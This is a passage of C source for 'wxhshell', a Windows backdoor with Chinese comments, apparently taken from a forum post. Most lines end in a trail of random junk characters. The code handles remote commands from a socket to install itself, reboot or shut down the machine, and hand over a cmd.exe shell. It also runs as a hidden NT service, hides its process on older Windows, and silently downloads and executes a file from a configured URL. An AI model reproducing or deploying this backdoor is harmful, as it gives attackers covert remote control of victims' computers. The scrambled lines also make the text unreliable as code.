  // 帮助 eoL0^cZj  
  case '?': { !Sfe{/$w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J ~'~[,K  
    break; S5/p=H:  
  } Bxt_a.LthH  
  // 安装 ]:!8 s\#  
  case 'i': { k!vHO  
    if(Install()) X&,N}9>B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >vxWx[fRu  
    else )BpIxWd?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vVdxi9yk  
    break; .S(^roM;+  
    } ku-cn2M/  
  // 卸载 {[lx!QF 8&  
  case 'r': { V^WQ6G1  
    if(Uninstall())  %|bN@@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_7xL(F/  
    else 9JXhHAxD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `>y[wa>9r  
    break; 8(uw0~GO  
    } *Ji9%IA  
  // 显示 wxhshell 所在路径 Sy:K:Z|[U  
  case 'p': { 9<w=),R`8  
    char svExeFile[MAX_PATH]; u{pTva  
    strcpy(svExeFile,"\n\r"); YpiRF+G  
      strcat(svExeFile,ExeFile); J]\s*,C&  
        send(wsh,svExeFile,strlen(svExeFile),0); flPZlL  
    break; vj(@.uU)  
    } sgD@}":m  
  // 重启 hsz$S:am  
  case 'b': { du8!3I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cl{{H]QngX  
    if(Boot(REBOOT)) Bd QQ9$@5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VAt>ji7c  
    else { TftOYY.hQ  
    closesocket(wsh); i(z+a6^@|  
    ExitThread(0); iPz1eUj  
    } O/nqNQ?<  
    break; |<'10  
    } C~:b*X   
  // 关机 7Z VVR*n|  
  case 'd': { [(!Q-8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zr5'TZ`$  
    if(Boot(SHUTDOWN)) z 3Zu C{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  L2k;f]  
    else { Y'?Izn b  
    closesocket(wsh); uH= Gt^_  
    ExitThread(0); fo *!a$)  
    } LuLy6]6D;  
    break; Fz{o-4  
    } 2-p8rGI_F  
  // 获取shell .5Q5\qc=  
  case 's': { x}uwWfe3  
    CmdShell(wsh); E=A/4p6\$  
    closesocket(wsh); ~xP Szf  
    ExitThread(0); l#mtND3  
    break; )!BB/'DRQ  
  } KqFmFcf|  
  // 退出 _AVy:~/  
  case 'x': { RLv&,$$0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rnJS[o0  
    CloseIt(wsh); Qz'O{f  
    break; J&(  
    } EWSr@}2j .  
  // 离开 ws#hhW3qK  
  case 'q': { l DgzM3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h)"'YzCt  
    closesocket(wsh); FyQOa)5  
    WSACleanup(); 9]"\"ka3>  
    exit(1); bx1G CD  
    break; pVdhj^n  
        } Z=0iPy,m>  
  } {|G&W^`  
  } )x y9X0  
?exALv'B  
  // 提示信息 cPx66Dh&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "pR $cS  
} <<i=+ed8eP  
  } >qr=l,Hi  
F>p%2II/  
  return; hU |LFjc  
} }o~Tw?z-|  
,^Ex}Z  
// shell模块句柄 ))c*_n  
int CmdShell(SOCKET sock) :Xb*m85y  
{ RJQ/y3  
STARTUPINFO si; g8C+1G8  
ZeroMemory(&si,sizeof(si)); 9c#L{in  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V=:,]fTr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z?5,cI[6#  
PROCESS_INFORMATION ProcessInfo; u!sSgx =  
char cmdline[]="cmd"; ^!N;F"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vx0MG{vG1  
  return 0; S^*(ALFPj  
} :h3#1fko  
!$g(&  
// 自身启动模式 avF&F  
int StartFromService(void) Rh5@[cg%  
{ h;&&@5@lM  
typedef struct 0;. e#(`-  
{ 1t!&xvhG  
  DWORD ExitStatus; |j\eBCnH3  
  DWORD PebBaseAddress; OFJJ-4[_3  
  DWORD AffinityMask; c }g$1of87  
  DWORD BasePriority; z1z =P%WK  
  ULONG UniqueProcessId; \UV T_=Y  
  ULONG InheritedFromUniqueProcessId; F0DPS:c  
}   PROCESS_BASIC_INFORMATION; DK2c]i^|=  
89 _&X[X  
PROCNTQSIP NtQueryInformationProcess; #MmmwPB_  
J$o[$G_Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1',+&2)oj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {'cs![U  
FZ;Y vdX6  
  HANDLE             hProcess; uOy\{5s8  
  PROCESS_BASIC_INFORMATION pbi; }s8*QfK>  
EfMG(oI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H{p[Ghp  
  if(NULL == hInst ) return 0; +z{x 7  
 ."$=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h9@gs,'   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p8 E;[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kW*W4{Fth  
3?-V>-[G_  
  if (!NtQueryInformationProcess) return 0; b@UF PE5jy  
Iwd"f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x`&P}4v0  
  if(!hProcess) return 0; hfVzzVX:  
J~PTVR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0ll,V  
NpjsZcA  
  CloseHandle(hProcess); Br?++\  
~cWLu5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cHfK-R  
if(hProcess==NULL) return 0; ]}*G[[ ^p  
+LvZ87O^~  
HMODULE hMod; SV$ASs  
char procName[255]; XF0*d~4  
unsigned long cbNeeded; |wl")|b%  
|2+c DR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QZeb+r  
(]GY.(F{  
  CloseHandle(hProcess); `qQQQ.K7)z  
+#2@G}j  
if(strstr(procName,"services")) return 1; // 以服务启动 `0-m`>1>  
la6e`  
  return 0; // 注册表启动 NWq [22X |  
} 6Wcn(h8%*  
s?z=q%-p  
// 主模块 oWn_3gzw;  
int StartWxhshell(LPSTR lpCmdLine) D0"yZp}  
{ #&HarBxx  
  SOCKET wsl; )xXrs^  
BOOL val=TRUE; ./z"P]$  
  int port=0; ]MBJ"1F  
  struct sockaddr_in door; TO8\4p*tE  
P7^TRrMF  
  if(wscfg.ws_autoins) Install(); iz$v8;w  
~=aI2(b  
port=atoi(lpCmdLine); s;=J'x)~%  
%E=,H?9&>  
if(port<=0) port=wscfg.ws_port; +b:h5,  
wHDF TIDI  
  WSADATA data; vFkyfX(   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mSqk[ Ig\  
TbSt {TX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ff2.| 20  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kgib$t_7  
  door.sin_family = AF_INET; aF_ZV bS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y0Q/B|&[  
  door.sin_port = htons(port); xHR+((  
x#!{5;V&K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :D)&>{?  
closesocket(wsl); tue%L]hc  
return 1; bU@>1>b6lE  
} 1+y6W1m^R  
&Cn9 k3E\R  
  if(listen(wsl,2) == INVALID_SOCKET) { )y [[Se  
closesocket(wsl); EKI+Dq,  
return 1; qhHRR/p  
} 67hPQ/S1  
  Wxhshell(wsl); T3PaG\5B  
  WSACleanup(); /m|&nl8"qe  
[sh"?  
return 0; znDtM1sLeV  
`qy6 qKl N  
} ~dX@5+Gd  
NU 6Kh7  
// 以NT服务方式启动 4N^Qd3[d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \$0 x8B   
{ hghto \G5Y  
DWORD   status = 0; x%Y a*T  
  DWORD   specificError = 0xfffffff; DqC}f#  
%v6]>FNP'3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]idD&5gd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %W|Zj QI^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @XSu?+s)  
  serviceStatus.dwWin32ExitCode     = 0; [Z`:1_^0}  
  serviceStatus.dwServiceSpecificExitCode = 0; 'V*M_o(\  
  serviceStatus.dwCheckPoint       = 0; dzC&7 9$  
  serviceStatus.dwWaitHint       = 0; $9u  
6 GevO3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YnL?t-$Gg  
  if (hServiceStatusHandle==0) return; P(gID  
OrqJo!FEg{  
status = GetLastError(); oKqFZ,m[  
  if (status!=NO_ERROR) `EW_pwZPA  
{ {83He@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; , $F0D  
    serviceStatus.dwCheckPoint       = 0; X +  
    serviceStatus.dwWaitHint       = 0; pkMON}"mj  
    serviceStatus.dwWin32ExitCode     = status; I3y4O^?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bjrv;)XH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lPSDY&`P  
    return; i(qYyO'  
  } @nW(KF  
i{x0#6_Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %}AY0fg?T  
  serviceStatus.dwCheckPoint       = 0; WoT z'  
  serviceStatus.dwWaitHint       = 0; FT?1Q'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IgnY* 2FT  
} 7Mb t*[n  
>rX R;4%  
// 处理NT服务事件,比如:启动、停止 SbNUX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @%B!$\]  
{ _nCs$ U  
switch(fdwControl) j`&i4K:  
{ ^Ypx|-Vu!  
case SERVICE_CONTROL_STOP: 7)8}8tY^{  
  serviceStatus.dwWin32ExitCode = 0; k=/|?%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B0SmE_u_N  
  serviceStatus.dwCheckPoint   = 0; .KMi)1L)  
  serviceStatus.dwWaitHint     = 0; 4oEq,o_  
  { u$ / ]59  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jtOsb91c}  
  } >Ti2E+}[M  
  return; 0Y`tj  
case SERVICE_CONTROL_PAUSE: w*R-E4S?2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y8xnvK*  
  break; r{3 `zqo  
case SERVICE_CONTROL_CONTINUE: 1&L){hg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \36;csu  
  break; u z2s-,  
case SERVICE_CONTROL_INTERROGATE: v/6,eIz  
  break; WHk/mAI-s  
}; D{d$L9.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); COJ!b  
} Rm 1`D  
x;]{ 8#-z  
// 标准应用程序主函数 0\<-R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r4>I?lD  
{ 93eqFCF.  
p?NjxQLA  
// 获取操作系统版本 L/+J|_J)  
OsIsNt=GetOsVer(); ,^Srd20  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7%FZXsD  
e9~4wt  
  // 从命令行安装 s7.*o@G  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^"#rDP"v  
:NyEd<'  
  // 下载执行文件 YD.^\E4o  
if(wscfg.ws_downexe) { :|mkI#P.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :pu{3-n.  
  WinExec(wscfg.ws_filenam,SW_HIDE); %hb5C 4q  
} tLXw&hFk`g  
4'=N{.TtO  
if(!OsIsNt) { \uPTk)oaB  
// 如果时win9x,隐藏进程并且设置为注册表启动 >o= p5#{  
HideProc(); EQhV}9  
StartWxhshell(lpCmdLine); 3^UsyZS)  
}  ;I@L  
else #E@i@'T  
  if(StartFromService()) ymCIk /\  
  // 以服务方式启动 ~ J{{n_G{  
  StartServiceCtrlDispatcher(DispatchTable); H?^#zj`Ex+  
else V-r<v1}M  
  // 普通方式启动 ~,1q :Kue  
  StartWxhshell(lpCmdLine); )t=u(:u]  
WYzaD}  
return 0; fb;"J+  
}
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只看该作者 1 发表于: 2006-10-10
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